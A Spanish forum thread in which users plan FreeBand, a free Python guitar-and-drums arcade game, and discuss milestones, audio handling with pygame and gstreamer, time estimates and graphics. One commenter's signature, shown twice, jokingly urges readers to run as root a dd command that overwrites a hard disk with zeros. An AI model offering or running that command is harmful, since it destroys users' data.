FreeBand: guitarra y batería ¡más arcade que nunca!

gstreamerPython
Proyecto de un juego libre programado un python en el que puedes competir contra ti mismo o contra un compañero, pudiendo tocar una guitarra o una batería.

Hola chicos y chicas…

He hablado con David y he decidido que voy a empezar con esto en breve. Espero que se una toda la gente posible cuanto antes. Creo que David a lo mejor puede hacer una parte importante si el tiempo se lo permite.

El proyecto consiste en un juego arcade donde un jugador puede controlar una guitarra al estilo del FoF y otro una batería. Una vez conseguida la meta principal, se podrán aumentar los instrumentos y las posibilidades.

El primer hito a conseguir es el siguiente, los demás hitos se discutirán cuando se termine este:

(1) Tener un programa en python, modular y extensible, que dado un ogg y un archivo de texto o XML con un formato determinado, reproduzca un sonido al pulsar una tecla (o botón de un pad), un sonido distinto por cada una de las 5 posibles teclas, y que diga si se ha pulsado en el momento correcto según el archivo asociado.

(2) Tener un editor de dichos archivos dado un determinado OGG.

El archivo asociado debería contener la siguiente información:

  • MD5 y nombre del OGG al que pertenece
  • Tecla a pulsar (pueden ser varias en un mismo instante)
  • Momento en el que se pulsa
  • Tiempo durante el que se pulsa
  • Modificadores de nota (pulsar por ejemplo otro botón para hacer un bend de guitarra o redoble de charles)
  • (opcional) Letras de la canción

Se usará para reproducir el audio gstreamer, dejando la opción de incluir pads nuevos en cualquier punto desde la fuente de cada uno de los sonidos, hasta el destino final (alsa, oss, jack… de eso se encarga gstreamer también).

¿Cuánto tiempo nos ponemos para esto?

Unos cuantos números podrían ser:

  • Disparar sonidos con el teclado: 5 horas
  • Reproducir un ogg: 1 hora
  • Leer el formato del archivo asociado: 2 horas
  • Comprobar si hay una tecla pulsada en el momento correcto: 10 horas

Hay que tener un cuenta de que no se pueden dejar las teclas pulsadas siempre y que el programa crea que lo haces bien… aunque en la primera aproximación, podría ser válido.

  • Editar el archivo asociado:
  • Reproducir una parte espećifica del ogg: 5 horas
  • Diseño GUI: 30 horas
  • 6 checkboxes para cada momento editable
  • edit o barra con el tiempo asociado a cada checkbox
  • barra asociada al tiempo (desplazable)
  • play/stop
  • play for x seconds
  • avanzar/retroceder un bpm/resolución beat

Comentarios por favor. El que no quiera currar que no critique, que no vamos a cobrar un duro por el tiempo empleado.

Un saludo,
brue

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de brue

Noticias...

La nueva página del proyecto es http://crysol.inf-cr.uclm.es/node/644

He creado una prueba para que la gente le pueda echar un vistazo:

------------------------------------------------
--> http://www.brue.org/files/test.tar
------------------------------------------------
Dependencias:

python, soya y pygame.

Para lanzar el juego:
python freeband.py archivo.ogg
hay dos archivos ogg incluidos.

Se juega con: Q W E R T (una tecla por canal)

Para editar un ogg:
python sngeditor.py archivo.ogg

Se edita con: Q W E R T (pulsamos en el momento que queramos añadir)

Eso es todo.

--
·brue

brue

Imagen de int-0

Disparar sonidos con pulsaciones

Nen... eso no es tan fácil como crees. Hay que crearse primero unos buenos samples de los que partir. Busqué por internet muchas librerías de samples y tal y no me gustaron nada... no sonaba bien.

Creo que como primer hito "tener samples y dispararlos a la pulsación de una tecla" es más que suficiente. Verás que ese hito no es tan trivial como parece: si se pulsa la misma tecla muy rápido: debe pararse el sonido actual y sonar el nuevo? debe sonar el nuevo sobre el actual? y el estéreo? Una vez hice un programa con dos samples: caja y bombo (mi primer intento de taiko no tatsujin) y se disparaban con dos teclas cada uno (mano derecha y mano izquierda). Si hacías redoble no sonaba para nada como un redoble de verdad, cuando consigas esto, podrás avanzar con el resto del programa.

Es una opinión...
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

todo esto ...

ya lo tengo con pygame hace una semana Smiling

Lo sonidos son guapos porque son de los drumkits del hydrogen. El problema que dices de parar el sonido, no lo hago ... simplemente lo disparo en el siguiente canal libre ... recorro y si not get_busy() se dipara, no problemo.

El problema es la latencia de la captura de teclado, que para juegos super-rápidos es un poco kaka.

Ahora estoy con hacer los archivitos con la información y representarla en pantalla ... trivial también con pygame. Tiene una función pygame.mixer.music.get_pos() que devuelve un número muy muy ajustado y usable de por dónde va el ogg. Ahora mismo tengo poco tiempo, pero lo mismo un día de estos cuelgo un test funcional con un tema de block party que me gusta mucho (The prayer).

Ahora habría que decidir ... gŕaficos, ¿como? 2d o 3d?

El Taeko estaría en una semana si tuviera tiempo, cuando llegue quedamos y en menos de un mes está terminado... pero claro, malas fechas.

--
·brue

brue

Imagen de magmax

Gráficos.

Aunque al final no voy a participar activamente en la programación por falta de tiempo, daré mi opinión sobre los gráficos.

Símplemente para evitar requerir un cojopentium con chorrocientes megaherzios para un programa "simple", sugiero 2D. Siempre se puede usar la técnica de juegos como el Warcraft II, Diablo, ... Que es utilizar gráficos 3D prerrenderizados a 2D.

PD: digo "simple" porque no hace uso intensivo de las 3D como puede hacerlo un juego tipo Quake, por ejemplo. No lo tomes como una ofensa, ya que estamos comprobando (los que programáis y los que os leemos) que el reto no es tan simple como puede parecer.

Miguel Ángel García
http://magmax.org

Imagen de brue

google code

El repo del proyecto está aquí:

http://code.google.com/p/freeband/

El que de verdad esté interesado que me escriba.
--
·brue

brue

Imagen de david.villa

Me temo

que a David ni el tiempo, ni otros factores, se lo permiten.

No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.

Imagen de brue

supongo que ...

no te habrás hecho de alguna religión rara, ¿no?

Bueno, no contamos contigo entonces Sad

--
·brue

brue

Imagen de cleto

Maravilloso!

... me gusta mucho la propuesta. Contad conmigo. Sin embargo, y dada mi torpeza informática, no creo que las estimaciones me hayan tenido en cuenta. Si quereis esas estimaciones, no podeis contar conmigo por motivos obvios. "Reproducir un ogg: 1 hora", yo NI EN BROMA Smiling.

Pero bueno, supongo que voy a aprender mucho de esto, así que incluidme.

Muy buena la propuesta. ¡Un saludo!

----------------------------------------------------------------
"Software Libre para una sociedad libre."

Imagen de brue

... y aquí se quedó...

Ahora estoy con una engine en C++ con OpenGL, SDL, ODE y algunas cosas más... Voy a hacer un juego de carreras seguramente. No sé la dirección que tomará puesto que no tengo mucho tiempo. Sería alguno bueno que se transformase en mi PFC ...

Si alguien se apunta, decídmelo.

--
"Computer Science is no more about computers than astronomy is about telescopes."
– Edsger W. Dijkstra

brue

Imagen de int-0

estas loco?

Quieres que hagamos tu PFC entre todos? si eso pasase se podría liar un escándalo! Evil
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

ciertamente...

... no me dejarían hacer el PFC compartido Smiling

--
"Computer Science is no more about computers than astronomy is about telescopes."
– Edsger W. Dijkstra

brue

Imagen de brue

además...

tú prestarás los mandos de la wii para probar el soporte en la batería.

--
·brue

brue

Imagen de magmax

Recursos.

Puede ser un poco jodío, ya que el FoF ya come recursos para parar un tren, pero... bueno, así puede ser un reto más importante aún.

Por otra parte, creo que las estimaciones que has hecho son bastante optimistas.

Aún no sé si podré echaros una mano. Este finde me lo pienso.

PD: "Ti" nunca lleva tilde.

Miguel Ángel García
http://magmax.org

Imagen de brue

gracias...

... por el apunte. Corregido.

--
·brue

brue